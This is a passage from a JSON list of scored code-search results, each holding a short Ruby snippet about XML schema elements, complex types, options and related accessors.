[ { "docid": "ca83ce2881ff3b12be8e8ab1b80f2d30", "score": "0.5477133", "text": "def get_complex_types(node)\n return REXML::XPath.each(node, 'complexType').to_a\n end", "title": "" }, { "docid": "198213185b6d1bf2209712c45a0970f2", "score": "0.5294482", "text": "def get_element_fields(element)\n fields = []\n REXML::XPath.each(element, 'descendant::element') do |item|\n name = get_element_name(item)\n original_name = get_original_name_if_needed(name)\n field = {\n :name => name.snakecase.to_sym,\n :original_name => original_name,\n :type => item.attribute('type').to_s.gsub(/^.+:/, ''),\n :min_occurs => attribute_to_int(item.attribute('minOccurs')),\n :max_occurs => attribute_to_int(item.attribute('maxOccurs'))}\n fields << field.reject {|k, v| v.nil?}\n end\n return fields\n end", "title": "" }, { "docid": "1e03329579aadadfd34ca0c6f3be9f4c", "score": "0.5022899", "text": "def element\n @element\n end", "title": "" }, { "docid": "73a75939c97751fdd00aae7d66cfb7a0", "score": "0.50084585", "text": "def elements(name, type, options = {})\n self.element(name, type, options.merge(:array => true))\n end", "title": "" }, { "docid": "d9b7a62d07a96fa64325a09384c1da73", "score": "0.49582833", "text": "def types\n @types ||= @elements.merge(@complex_types)\n end", "title": "" }, { "docid": "ec728fcef44c37fb1dc424427455f889", "score": "0.49437842", "text": "def detect_element(element_name, options={})\n atr = options[:match_attr] || :type\n values = Array(options[:match_value] || nil)\n default_first = options.key?(:default_first) ? options[:default_first] : true\n method = options.key?(:value) ? options[:value] : :value\n\n l = Array(self.send(element_name))\n return nil if l.size <= 0\n\n e = nil\n values.each{|v|\n e = l.detect do |i|\n # puts \"detect: #{v.inspect} #{v.class.name} #{i.inspect}\"\n case v.class.name\n when 'Regexp'\n # puts \"match: #{v} #{element_value(i, atr)}\"\n v =~ element_value(i, atr)\n else\n element_value(i, atr) == standardize(v)\n end\n end\n break if e\n }\n # puts \"e: #{e.inspect}, m:#{method}, e.respond_to?(m): #{e.respond_to?(method)}\"\n e = l.first if default_first && e.nil?\n e = (e && method && e.respond_to?(method)) ? e.send(method) : nil\n # puts \"e: #{e.inspect}\"\n return e\n end", "title": "" }, { "docid": "dac1e67f345b9d49f24f8778c0132471", "score": "0.48741344", "text": "def element\n HTML.ul(:class => :radio_options) { \n option_elements().map { |o| HTML.li() { o } } \n }\n end", "title": "" }, { "docid": "3594a3c7c2f0521f9aea1e7891af3afc", "score": "0.4866374", "text": "def element\n @element\n end", "title": "" }, { "docid": "78e3c6b0a1ade8814b5e975c57d0ed8f", "score": "0.48573416", "text": "def element?\n @element.nil? ? field.collection? : @element\n end", "title": "" }, { "docid": "761aa2373c331781caa589356dca21d6", "score": "0.4853276", "text": "def element_type\n type = []\n each{|e| e.class}\n end", "title": "" }, { "docid": "f0575e6e0bd1392470f95d520b437c7f", "score": "0.4841786", "text": "def get_element_type\n @nc_array.getElementType().toString()\n end", "title": "" }, { "docid": "ab062507f3cb80bedbce9e930b9acced", "score": "0.4828453", "text": "def get_array(element, path='.')\n return unless element\n \n result = element/path\n if (result.is_a? Nokogiri::XML::NodeSet) || (result.is_a? Array)\n result.collect { |item| self.get(item) }\n else\n [self.get(result)]\n end\n end", "title": "" }, { "docid": "9ac1cc24ec3cb8c07b4a359bd496e9b8", "score": "0.48213208", "text": "def complex_types\n @complex_types ||= metadata.xpath('//ComplexType').map do |entity|\n [\n entity.attributes['Name'].value,\n ComplexType.new(entity, self)\n ]\n end.to_h\n end", "title": "" }, { "docid": "67b04fc7a6579e9c230e5db911ad8b4c", "score": "0.4801138", "text": "def get_array(element, path='.')\n return unless element\n\n result = element/path\n if (result.is_a? Nokogiri::XML::NodeSet) || (result.is_a? Array)\n result.collect { |item| self.get(item) }\n else\n [self.get(result)]\n end\n end", "title": "" }, { "docid": "1ec227cf606e34195ebc589454b88c62", "score": "0.47898728", "text": "def admin_options(attribute)\n if self.associated_model.present?\n model = self.associated_model_class\n const_name = attribute.upcase\n model.const_defined?(const_name) ? model.const_get(const_name) : []\n else\n []\n end\n end", "title": "" }, { "docid": "775de599a910230d2c7c8ee5643426e8", "score": "0.47823533", "text": "def option_elements\n base_id = @attrib[:id]\n base_id ||= @attrib[:name]\n elements = []\n options().each_pair { |opt_value, opt_label|\n selected = @value.map { |v| v.to_s }.include?(opt_value.to_s)\n if selected then\n elements << HTML.li(:id => \"#{base_id}_#{opt_value}\") { \n @option_field_decorator.new(:name => @attrib[:name], \n :value => opt_value, \n :label => opt_label, \n :parent => self)\n }\n end\n }\n elements\n end", "title": "" }, { "docid": "7dabdd82c1f7db2c0c7a30585e241eee", "score": "0.4751845", "text": "def xsd_complex_all?(x)\n x['complexType']['all']['element'] rescue return false\n true\n end", "title": "" }, { "docid": "b281a9815a56a6df1e1d8580afb0712a", "score": "0.47421184", "text": "def type\n elements.first.type\n end", "title": "" }, { "docid": "96d9ab403169d5d6a80d0dbcebdef17b", "score": "0.47303742", "text": "def selected_options(element)\n\t\t\tif element.respond_to?(:selected_options) then\n self.debug(element.method('selected_options').inspect)\n return element.selected_options\n\t\t\telsif element.respond_to?(:selected_values) then\n self.debug(element.method('selected_values').inspect)\n\t\t\t\treturn element.selected_values\n\t\t\telse\n\t\t\t\tprint element.inspect(), \"\\n\"\n\t\t\t\tfail(\"Didn't respond to anything\")\n\t\t\tend\n\t\t\treturn []\n\t\tend", "title": "" }, { "docid": "a6ffc8b24ddd26bb0a429b99cb6881f8", "score": "0.47263178", "text": "def value_a\n elements.select{|e| e.respond_to? :next_word?}.first\n end", "title": "" }, { "docid": "a6ffc8b24ddd26bb0a429b99cb6881f8", "score": "0.47263178", "text": "def value_a\n elements.select{|e| e.respond_to? :next_word?}.first\n end", "title": "" }, { "docid": "065a7e12085d16058b57a0291b4be81a", "score": "0.4725699", "text": "def get_element_characteristic()\n characteristic_type = ''\n characteristic_value = ''\n\n [:id, :name, :value].each do |identity|\n if self[identity] && self[identity] != ''\n characteristic_type = identity\n characteristic_value = self[identity]\n break\n end\n end\n if characteristic_type == ''\n characteristic_type = 'text'\n characteristic_value = text()\n end\n [characteristic_type, characteristic_value]\n end", "title": "" }, { "docid": "0f1f40bd2978f4ec769ccc37fed4ca41", "score": "0.4706048", "text": "def element\n self\n end", "title": "" }, { "docid": "190728139035bbca37f13e9adcabb555", "score": "0.4702385", "text": "def complexType\n (0 == @_index) ? @_value : nil\n end", "title": "" }, { "docid": "d41e2b8b1360f997307819244ca45f08", "score": "0.46997207", "text": "def complexType\n (4 == @_index) ? @_value : nil\n end", "title": "" }, { "docid": "f429f4ba2337259de2512e8f6cb22d72", "score": "0.46827802", "text": "def element(name, options = {})\n elements << name\n add_accessor_methods(name)\n end", "title": "" }, { "docid": "4e395cfb66f5c36ab10c783782b82ffb", "score": "0.4679171", "text": "def options(name)\n enum = enums[name]\n return [] if enum.blank?\n enum.to_a\n end", "title": "" }, { "docid": "4cf6353ff35e42e3edcf8ec2c2e4aae0", "score": "0.4676844", "text": "def return_complex_type\n @return_complex_type ||= ComplexType::UNDEFINED\n end", "title": "" }, { "docid": "465a18491260766ed2671902060cdac2", "score": "0.46346095", "text": "def element_types\n @@element_types.map { |e| e.constantize }\n end", "title": "" }, { "docid": "2ddcd93858fc614879c4704bcbdadb30", "score": "0.4632213", "text": "def M(elements, attr_name)\n elements = [elements] unless elements.is_a?(::Array)\n elements.tap(&:flatten!).map! do |element|\n GET(element, attr_name)\n end\n elements.length <= 1 ? (elements.first || 0.0) : elements\n end", "title": "" }, { "docid": "22b892c38530f0931f6fd01786b2f5ee", "score": "0.45785052", "text": "def get_options\n\t\t\trule_body = elements.find { |e| e.is_a? Yacc::RuleBody }\n\t\t\treturn rule_body.get_options\n\t\tend", "title": "" }, { "docid": "d3a08c7c7cd1a4df93c563e31d2812fe", "score": "0.45753765", "text": "def get(array, element)\n if element == \"name\"\n return array[0]\n elsif element == \"tag_number\"\n return array[1]\n elsif element == \"element_type\"\n return array[2]\n elsif element == \"element_size\"\n return array[3]\n elsif element == \"number_of_elements\"\n return array[4]\n elsif element == \"data_size\"\n return array[5]\n elsif element == \"data_offset\"\n return array[6]\n else\n return array[0]\n end\n end", "title": "" }, { "docid": "0a824f8bd671a3d72f21fc1273a08f0e", "score": "0.4557508", "text": "def element_type\n config[:element_type]\n end", "title": "" }, { "docid": "d13aa696a9cbc02efb786052d92f029f", "score": "0.45418474", "text": "def classify_element(element)\n # Classify the element declaration\n\n match = 0\n\n if element.type_attribute\n element._form = :element_type\n match += 1\n end\n\n if element.ref\n element._form = :element_ref\n match += 1\n end\n\n if element.choice\n if element.choice.complexType\n element._form = :element_anonymous_complexType\n match += 1\n else\n raise 'internal error' # currently no other anonymous definitions supported\n end\n end\n\n if match == 0\n element._form = :element_empty\n elsif match == 1\n # one of the above matched\n else\n raise 'internal error' # expecting not more than one of the above forms\n end\n end", "title": "" }, { "docid": "ac1cae7b712bbe331d0473335c9278e3", "score": "0.45409727", "text": "def get_simple_types(node)\n return REXML::XPath.each(node, 'simpleType').to_a\n end", "title": "" }, { "docid": "1ab61354f306ca1fe7b4e3a7a339125b", "score": "0.4528397", "text": "def type\n @element.attribute(\"type\").to_s\n end", "title": "" }, { "docid": "b94310edcd81c21a961d2a4dc9876e7b", "score": "0.45168146", "text": "def complex_value(cplx)\n @complexList[cplx]\n end", "title": "" }, { "docid": "d7d9528440013818727cee78afc924fc", "score": "0.45125094", "text": "def read_attribute(name)\n attribute = attribute_for(name)\n return attribute._value if attribute._type.multi_valued\n\n attribute._type.complex? ? attribute : attribute._value\n end", "title": "" }, { "docid": "da5a7957d97b66cc73e862a4bebe3e85", "score": "0.44981408", "text": "def element; end", "title": "" }, { "docid": "da5a7957d97b66cc73e862a4bebe3e85", "score": "0.44981408", "text": "def element; end", "title": "" }, { "docid": "ea30558281a7fad175510118e0ec5945", "score": "0.44950113", "text": "def element_property(element, name); end", "title": "" }, { "docid": "ede526a3ba65f825d0e8d1b4e59ffccd", "score": "0.44880494", "text": "def element(name)\n field_name, element_name = name.split(':')\n if element_name.present?\n field(field_name).element(element_name.to_sym)\n else\n super(field_name)\n end\n end", "title": "" }, { "docid": "b08a1e3f68260af74c11ee11f91d9a14", "score": "0.44846478", "text": "def array_elements\n function(:array_elements)\n end", "title": "" }, { "docid": "60f7ce1b69a95f5e4ebe7ec0874a533e", "score": "0.44841796", "text": "def [](name)\n elements[name]\n end", "title": "" }, { "docid": "7d7c4b96a9d5c253224c84e39dca3337", "score": "0.44827273", "text": "def options\n element.options.map { |e| PageObject::Elements::Option.new(e) }\n end", "title": "" }, { "docid": "44e7f0ef346c701fc3314ed52d696c00", "score": "0.44820306", "text": "def collection_element\n __param(OCI_ATTR_COLLECTION_ELEMENT) if typecode == :named_collection\n end", "title": "" }, { "docid": "15b7990dae926d9dd0e72313cec50ed5", "score": "0.4464464", "text": "def type\n ACTUALLY_ELEMENTS.include?(normalized_name) ? :element : syntactic_type\n end", "title": "" }, { "docid": "6f60c5eefa0901325847aabc134bf854", "score": "0.44453737", "text": "def element_types\n count = C.count_struct_element_types(self)\n elt_types = nil\n FFI::MemoryPointer.new(FFI.type_size(:pointer) * count) do |types_ptr|\n C.get_struct_element_types(self, types_ptr)\n elt_types = types_ptr.read_array_of_pointer(count).map { |type_ptr| Type.from_ptr(type_ptr, nil) }\n end\n elt_types\n end", "title": "" }, { "docid": "6f60c5eefa0901325847aabc134bf854", "score": "0.44453737", "text": "def element_types\n count = C.count_struct_element_types(self)\n elt_types = nil\n FFI::MemoryPointer.new(FFI.type_size(:pointer) * count) do |types_ptr|\n C.get_struct_element_types(self, types_ptr)\n elt_types = types_ptr.read_array_of_pointer(count).map { |type_ptr| Type.from_ptr(type_ptr, nil) }\n end\n elt_types\n end", "title": "" }, { "docid": "70e20b012e78497c6d0f23ab15c4cb94", "score": "0.44336015", "text": "def [](name)\n elements[name]\n end", "title": "" }, { "docid": "fe59c3dfdcec2fc65f26aac829d1b457", "score": "0.44329396", "text": "def array\n -> member_type { type_registry[\"array\"].of(resolve_type(member_type)) }\n end", "title": "" }, { "docid": "f2a8cc73f4c1b0ba9c8efbcc9aaeff41", "score": "0.44277528", "text": "def elements\n @elements\n end", "title": "" }, { "docid": "5d0ad79398774b7700010c70d9fd9c86", "score": "0.44103143", "text": "def _element; end", "title": "" }, { "docid": "450f3230db3f03565d34b2bbadf474cc", "score": "0.4409091", "text": "def element_definition_names\n definition[\"elements\"] || []\n end", "title": "" }, { "docid": "c0b667f01c3943ad76f15f4dfd17bd1a", "score": "0.4406399", "text": "def array_element_type\n return if @gapi_json[:arrayElementType].nil?\n\n DataType.from_gapi_json @gapi_json[:arrayElementType]\n end", "title": "" }, { "docid": "b4e5d28d595b8e73f97334813bf44cbd", "score": "0.4402887", "text": "def name\n element.getName\n end", "title": "" }, { "docid": "b4e5d28d595b8e73f97334813bf44cbd", "score": "0.4402887", "text": "def name\n element.getName\n end", "title": "" }, { "docid": "b4e5d28d595b8e73f97334813bf44cbd", "score": "0.4402887", "text": "def name\n element.getName\n end", "title": "" }, { "docid": "b4e5d28d595b8e73f97334813bf44cbd", "score": "0.4402887", "text": "def name\n element.getName\n end", "title": "" }, { "docid": "49aef3753916ce1e58e415a08c7ae126", "score": "0.4399264", "text": "def available_elements\n description['elements'] || []\n end", "title": "" }, { "docid": "fbff85bcc1de8099efd323ecd3cdf558", "score": "0.43975464", "text": "def array_type\n return unless array?\n if nested_types.size == 1 && PRIMITIVES.include?(nested_types.first)\n primitive(nested_types.first, true) \n else\n oneOf(nested_types, true)\n end\n end", "title": "" }, { "docid": "5705e74d18ad177e9b409ab6fbfcb4e8", "score": "0.43762115", "text": "def type()\n @ole._getproperty(4, [], [])\n end", "title": "" }, { "docid": "5b3214446b533f3d7e682937f7f0fbe4", "score": "0.43708888", "text": "def element_option\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 27 )\n return_value = ElementOptionReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n char_literal127 = nil\n id126 = nil\n option_value128 = nil\n\n tree_for_char_literal127 = nil\n stream_LABEL_ASSIGN = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token LABEL_ASSIGN\" )\n stream_id = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule id\" )\n stream_option_value = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule option_value\" )\n begin\n # at line 291:4: id '=' option_value\n @state.following.push( TOKENS_FOLLOWING_id_IN_element_option_2051 )\n id126 = id\n @state.following.pop\n if @state.backtracking == 0\n stream_id.add( id126.tree )\n end\n char_literal127 = match( LABEL_ASSIGN, TOKENS_FOLLOWING_LABEL_ASSIGN_IN_element_option_2053 )\n if @state.backtracking == 0\n stream_LABEL_ASSIGN.add( char_literal127 )\n end\n @state.following.push( TOKENS_FOLLOWING_option_value_IN_element_option_2055 )\n option_value128 = option_value\n @state.following.pop\n if @state.backtracking == 0\n stream_option_value.add( option_value128.tree )\n end\n # AST Rewrite\n # elements: id, LABEL_ASSIGN, option_value\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 291:24: -> ^( '=' id option_value )\n # at line 291:27: ^( '=' id option_value )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( stream_LABEL_ASSIGN.next_node, root_1 )\n\n @adaptor.add_child( root_1, stream_id.next_tree )\n @adaptor.add_child( root_1, stream_option_value.next_tree )\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 27 )\n\n end\n \n return return_value\n end", "title": "" }, { "docid": "f1f6a8870d04af2b6c88a001d200f275", "score": "0.436333", "text": "def get_value_class( element )\n klass = @@registered_types[element.name.to_s]\n\n # Try by type attribute if element name doesn't work\n if ( klass.nil? && (type_attr = element.find_first('./@*[local-name()=\"type\"]')) )\n klassname = type_attr.value.split(\":\").last[0..-5]\n log.debug(\" --> Trying by type: #{klassname}\")\n klass = @@registered_types[ klassname.to_s ]\n end\n\n # Decision Tree --> Result returns from method\n result =\n if klass.nil?\n MappedStruct\n elsif klass.respond_to?(:get_class_for_element)\n klass.get_class_for_element(element)\n else\n klass\n end\n\n log.debug(\"GetValueClass for #{element.inspect} --> #{result}\")\n\n result\n end", "title": "" }, { "docid": "55f713cbaba8a71577e4b9ba65da9ecc", "score": "0.43573973", "text": "def element\n HTML.div(@attrib) { \n HTML.ul(:id => \"#{@options_name}_selected_options\") { \n if @value && @value.length > 0 then\n option_elements()\n end\n } + \n select_field().decorated_element\n }\n end", "title": "" }, { "docid": "27140d306900d7f5a93f469723a87d4a", "score": "0.43493408", "text": "def value\n @element.value\n end", "title": "" }, { "docid": "133f3902e32e682358f3618cde9f1264", "score": "0.4349316", "text": "def get_array(path='')\n Element.get_array(@element, path)\n end", "title": "" }, { "docid": "2bedb71c06b0860004e25c83e6a81bfe", "score": "0.4339174", "text": "def type(element)\n # Check if it's an array\n if element.as_array?\n return ARRAY_CLASSNAME\n else\n return element.mapped_class\n end\n end", "title": "" }, { "docid": "235fd0233cc94ca33522d76eb927c0c0", "score": "0.43339652", "text": "def native\n @element\n end", "title": "" }, { "docid": "35c17a292b28768b5bd6145ca0c20835", "score": "0.43333286", "text": "def elements\n relation_field = [collection_field, aggregate_field].compact.first\n try(relation_field) if relation_field\n end", "title": "" }, { "docid": "4e158754a1ee27734d6fbb059066bd67", "score": "0.43285257", "text": "def name\n element.getName();\n end", "title": "" }, { "docid": "fd8327705c50367b8b62ff220e0edb6a", "score": "0.43281233", "text": "def element_property(element, name)\n execute_script 'return arguments[0][arguments[1]]', element, name\n end", "title": "" }, { "docid": "1fd84e15eb42a5c1793565d398912a8f", "score": "0.43275243", "text": "def field(name)\n enum_by_name(name).each { |f| return f }\n nil\n end", "title": "" }, { "docid": "1fd84e15eb42a5c1793565d398912a8f", "score": "0.43275243", "text": "def field(name)\n enum_by_name(name).each { |f| return f }\n nil\n end", "title": "" }, { "docid": "1fd84e15eb42a5c1793565d398912a8f", "score": "0.43275243", "text": "def field(name)\n enum_by_name(name).each { |f| return f }\n nil\n end", "title": "" }, { "docid": "1fd84e15eb42a5c1793565d398912a8f", "score": "0.43275243", "text": "def field(name)\n enum_by_name(name).each { |f| return f }\n nil\n end", "title": "" }, { "docid": "5402673077f3bef62d39b75dbaed1fa7", "score": "0.43274838", "text": "def types\n @opt_types.values\n end", "title": "" }, { "docid": "cb05b9fb94b0c2e603b08d951e6f8f5c", "score": "0.4320195", "text": "def attribute_access(ast, options = {})\n options = { type: :any, ignore_calls: false }.merge!(options)\n return [] unless ast.respond_to?(:xpath)\n\n unless [:any, :string, :symbol, :vivified].include?(options[:type])\n fail ArgumentError, 'Node type not recognised'\n end\n\n case options[:type]\n when :any then\n vivified_attribute_access(ast, options) +\n standard_attribute_access(ast, options)\n when :vivified then\n vivified_attribute_access(ast, options)\n else\n standard_attribute_access(ast, options)\n end\n end", "title": "" }, { "docid": "c9972e7131712657a505bb4e485268e6", "score": "0.4319112", "text": "def opt_list\n self.class.opt_list\n end", "title": "" }, { "docid": "9403681a575aa9c8ef4f4a065d84dbae", "score": "0.43187892", "text": "def collection_type\n safe_const_get(:LIST_ELEMENT)\n end", "title": "" }, { "docid": "94b12041c61058789ff0530a0d0da22c", "score": "0.43161312", "text": "def create_complex_element_type_html(pre, element)\n complex_class = element.find_complex_class_name\n return if complex_class.nil?\n complex_class_content = element.multiplied == false ? \"#{complex_class}\" : \"Array of #{complex_class}\"\n pre << \"<a href='##{complex_class}'><span class='lightBlue'>#{complex_class_content}</span></a>&nbsp;<span class='bold'>#{element.name}</span>\"\n end", "title": "" }, { "docid": "32efd95336090b97bd4f5802405ada0a", "score": "0.4312869", "text": "def complex_types\n classes_defined = []\n (input_types + output_types).each do |p|\n classes_defined.concat(p.get_nested_complex_types(config, classes_defined))\n end\n sort_complex_types(classes_defined, 'class')\n end", "title": "" }, { "docid": "5b439628da1c6afca2c205afa23f4c97", "score": "0.43048865", "text": "def get_array(path='')\n \t Element.get_array(@element, path)\n end", "title": "" }, { "docid": "a0722d603ea0c013af846530d065e4f2", "score": "0.4303997", "text": "def elements\n if [FolderClasspath, JarClasspath].include?(@classpath.class)\n # TODO check for any subclass of FileClasspath instead\n [self]\n else\n @classpath.elements\n end\n end", "title": "" }, { "docid": "4962033c1ebd6078f78153d7b8cf89d9", "score": "0.42894363", "text": "def element_type\n case self.kind\n when :pointer, :vector, :array\n Type.from_ptr(C.get_element_type(self), nil)\n end\n end", "title": "" }, { "docid": "9078b99df0263dd70144a6ae6b8e13a8", "score": "0.42874703", "text": "def return_type\n @return_type ||= ComplexType::UNDEFINED\n end", "title": "" }, { "docid": "944b7d0e23241b7d31e1ff2b4a320e46", "score": "0.4278701", "text": "def element(name, type, options={})\n\t\t dsl_initialize unless @elements\n\t\t @fields = [] unless @fields\n\t\t element = initialize_element type, options\n\t\t @elements[name] = element\n\t\t @fields << name unless @fields.include? name\n\t\tend", "title": "" }, { "docid": "2204a3d95963dd2030929a6d06c053db", "score": "0.42757118", "text": "def elements_options\n self.class.elements_options || {}\n end", "title": "" }, { "docid": "587f626db8b01c35cff99235eca6ade4", "score": "0.42754272", "text": "def get_field_options(option)\n if option.is_a?(Hash)\n option.values.first\n elsif option.is_a?(Array)\n option.last\n end\n end", "title": "" }, { "docid": "b57704fe9e80fb6a2b037ff37ee375c9", "score": "0.42721626", "text": "def create_complex_element_type_html(pre, element, element_description)\n complex_class = element.find_complex_class_name\n return if complex_class.nil?\n real_class = find_correct_complex_type(complex_class)\n complex_class_content = element.multiplied ? \"Array of #{real_class}\" : \"#{real_class}\"\n pre << \"<a href='##{real_class}'><span class='lightBlue'>#{complex_class_content}</span></a>&nbsp;<span class='bold'>#{element.name}</span>\"\n pre << \"&#8194;<span>#{html_safe(element_description)}</span>\" unless element_description.blank?\n pre\n end", "title": "" }, { "docid": "718d3f8b4217a674323e11e7d5d3832e", "score": "0.42698294", "text": "def _element_of_type(option_hash)\n return element_type <= Restful::Configuration::Configurable ?\n # Bypass any custom initialization and use Configurable#set(options)\n element_type.new.set(option_hash) :\n element_type.new(option_hash) \n end", "title": "" }, { "docid": "84afde00d758b65f141b208e8c79938a", "score": "0.42660102", "text": "def type\n output_element_type.try(:name)\n end", "title": "" }, { "docid": "f91c1740a29931bcd72932a5426f6748", "score": "0.42618787", "text": "def get_methods\n OPTIONS.values.map{ |v| v + [nil]}.inject(&:product).map(&:flatten).map(&:compact)\n end", "title": "" }, { "docid": "054b8b6b06d93bdcb12109d1e6ef3924", "score": "0.42572576", "text": "def option_collection\n list_option\n end", "title": "" }, { "docid": "00113398de46e48a941e310b47638d6f", "score": "0.42524263", "text": "def attribute_value\n if options[:array]\n validatable.send(options[:attribute])[@pos]\n else\n validatable.send(options[:attribute])\n end\n end", "title": "" }, { "docid": "dd5813d16ef7e2915595eb528476e92c", "score": "0.42496595", "text": "def get_property(element)\n puts \"GET PROP: #{element} #{@file}\"\n if @file != :root\n @file.reload.file_properties[element[:name]]\n else\n if element[:name] == 'resourcetype'\n\n end\n end\n end", "title": "" }, { "docid": "f4bdcf49bc362cdcac9388c51ab4f58b", "score": "0.42412797", "text": "def magic_elements\n elements_data.select {|ele| ele.element?}\n end", "title": "" }, { "docid": "75380bbd473e250d35dacbd2152dd76a", "score": "0.4235396", "text": "def getAttributeElement\n return @attributeElementName\n end", "title": "" }, { "docid": "84996caf420c66f83a5af34da5a0b091", "score": "0.4234784", "text": "def value\n element.getValue\n end", "title": "" }, { "docid": "25c112c7d1f085d005fdc57089b9ea1a", "score": "0.4228652", "text": "def element_names\n @element_names\n end", "title": "" }, { "docid": "73713a9b8b6e9697f949cd7ba48546e8", "score": "0.42262384", "text": "def values\n\n\t\t@elements.values\n\tend", "title": "" } ]
012b5fb58174346ced65cf677c9aaa65
count tags' article amount an return the count num
[ { "docid": "deaf952b4261bb699f87077ec229de5a", "score": "0.8187936", "text": "def count_tag_article(name)\n count = Article.tagged_with(name).count\n return count\n end", "title": "" } ]
[ { "docid": "152324b8cebdd7448f4690cebef926f5", "score": "0.8161518", "text": "def count_articles_tagged(tag)\n tag = Tag.first(:name => tag)\n return 0 unless tag\n self.taggings.count(:tag_id => tag.id)\n end", "title": "" }, { "docid": "b3ba826f9533a28947d215c09f0ca39c", "score": "0.7754024", "text": "def tag_count\n tags.count\n end", "title": "" }, { "docid": "7a9680179f18fdf7b39ed68db14d1611", "score": "0.7413529", "text": "def tags_count\n self[:tags_count].to_i\n end", "title": "" }, { "docid": "7a9680179f18fdf7b39ed68db14d1611", "score": "0.7413529", "text": "def tags_count\n self[:tags_count].to_i\n end", "title": "" }, { "docid": "b4718965d8ff934a6860a730566009d4", "score": "0.7313371", "text": "def tag_counts\n JekyllTags.tag_count.each do |tag,count|\n puts \"#{tag}: #{count}\"\n end\n end", "title": "" }, { "docid": "30ed24d8e94c34475eef327940e2871d", "score": "0.72186995", "text": "def get_tag_count(document, tag)\n count = 0\n start_tag_with_attrs_pattern = \"(<\" + tag + \" ([^>]+)>)\"\n start_tag_pattern = \"<\" + tag + \">\";\n empty_tag_pattern = \"<\" + tag + \"/>\";\n start_tags_attr = document.scan(/#{start_tag_with_attrs_pattern}/i)\n start_tags = document.scan(/#{start_tag_pattern}/i)\n empty_tags = document.scan(/#{empty_tag_pattern}/i)\n count = start_tags_attr.size if start_tags_attr != nil?\n count = count + start_tags.size if start_tags != nil?\n count = count + empty_tags.size if empty_tags != nil?\n count\n end", "title": "" }, { "docid": "d13fa789e232b72e5bfdeb728b13a122", "score": "0.71383554", "text": "def tags\n articles.map { |article| article[:tags] }.flatten.compact.inject(Hash.new(0)) { |frequency_map, tag|\n frequency_map[tag] += 1\n frequency_map\n }\nend", "title": "" }, { "docid": "ec1c4652efa40055ed44fd8b8397aa92", "score": "0.7111274", "text": "def other_tags_count\n count = other_tags.count\n (count > 0) ? count : 1\n end", "title": "" }, { "docid": "9700e6b7fd56daac941051a827e0c0b6", "score": "0.71034956", "text": "def count_by_tag(tag, table_name = Tag.table_name)\n counts = tag_counts(:conditions => tags_condition([tag]))\n counts[0].respond_to?(:count) ? counts[0].count : 0\n end", "title": "" }, { "docid": "094e3df585efce5c413fd2ffc03de089", "score": "0.707929", "text": "def tag_count\n count = {}\n post_tags.each do |post, tags|\n tags.each do |t|\n count[t] ||= 0\n count[t] += 1\n end\n end\n count\n end", "title": "" }, { "docid": "a48e989fbc47d8bb2c65ed79662e2036", "score": "0.70558095", "text": "def comic_count\r\n \tsorted_articles.length\r\n end", "title": "" }, { "docid": "d1bb455c63209c5232b23c3b6bcf0d67", "score": "0.69143724", "text": "def tag_counts\n self.parent.tag_counts\n end", "title": "" }, { "docid": "48eb473d92301d66a0aa411d7e13926c", "score": "0.690573", "text": "def count\n @hash_tags.count\n end", "title": "" }, { "docid": "1fc24eb10f61ba33d07b34502e577dab", "score": "0.6873427", "text": "def count(name, tag)\n get_items_count(name, tag, @klass)\n end", "title": "" }, { "docid": "2c534481d7c5ec98665769504cf377f4", "score": "0.6816144", "text": "def count_tags\n tags = []\n @posts = Kobayashi::Post.grab_current_posts\n @posts.each do |post|\n tags << post[:tags]\n end\n @tag_counts = tags.flatten.frequency\n @tag_counts = Hash[@tag_counts.sort]\n return @tag_counts\n end", "title": "" }, { "docid": "4349fbfae226481270339b807df24513", "score": "0.6766242", "text": "def posts_count_by_tag(tags)\n tags = clean_tags(tags)\n if self.class::OLD_API\n do_request('post/index.xml', { tags: tags, limit: 1 }, :get, nil, :xml).root['count'].to_i\n else\n do_request('counts/posts.json', tags: tags)['counts']['posts']\n end\n end", "title": "" }, { "docid": "75b52b2660170ee339c0ca315aa7933a", "score": "0.67544866", "text": "def count(category)\n count = 0\n self.votes.each do |v|\n if v.category == category\n count+=1\n end\n end\n count\n end", "title": "" }, { "docid": "a606bbad0bc42104414d83b038ebc74f", "score": "0.67371297", "text": "def get_items_count(name, tag, container)\n eval(SELECTOR_MAPPING[container][name][tag][ELEMENT]).count.to_i\n end", "title": "" }, { "docid": "c2aa9511409e9b061e76d3b3c885d476", "score": "0.6682483", "text": "def get_page_count( rb, tagged )\n\n verbose( \"Getting #{$params[ :product ]} page count...\" )\n verbose( \"Only looking for #{$params[ :product ]} tagged with \\\"#{tagged}\\\"\" ) if tagged \n\n # Download the first page of art and grab the body.\n page = grab_art_page( rb, tagged, 1 )\n\n # Find the number of the last page of art.\n last = page.elements.to_a( \"//li[@class='page-link']/a\" ).last\n\n # If we managed to get that...\n if last then\n # ...return it as a number.\n verbose( \"Done (max page is #{last.text.to_i}).\" )\n last.text.to_i\n else\n # ...or, if we didn't, moan...\n $stderr.puts \"Could not find maximum page number. Assuming just one page.\"\n # ...and assime it's a single page.\n 1\n end\n \nend", "title": "" }, { "docid": "3e587460e2b516e3f60a7a96e8ef7431", "score": "0.6681625", "text": "def image_count\n working_article.images.length\n end", "title": "" }, { "docid": "a7b09e8511b9f058c2997a4e10437080", "score": "0.66754246", "text": "def find_tags\n @tags = BlogPost.tag_counts_on(:tags)\n end", "title": "" }, { "docid": 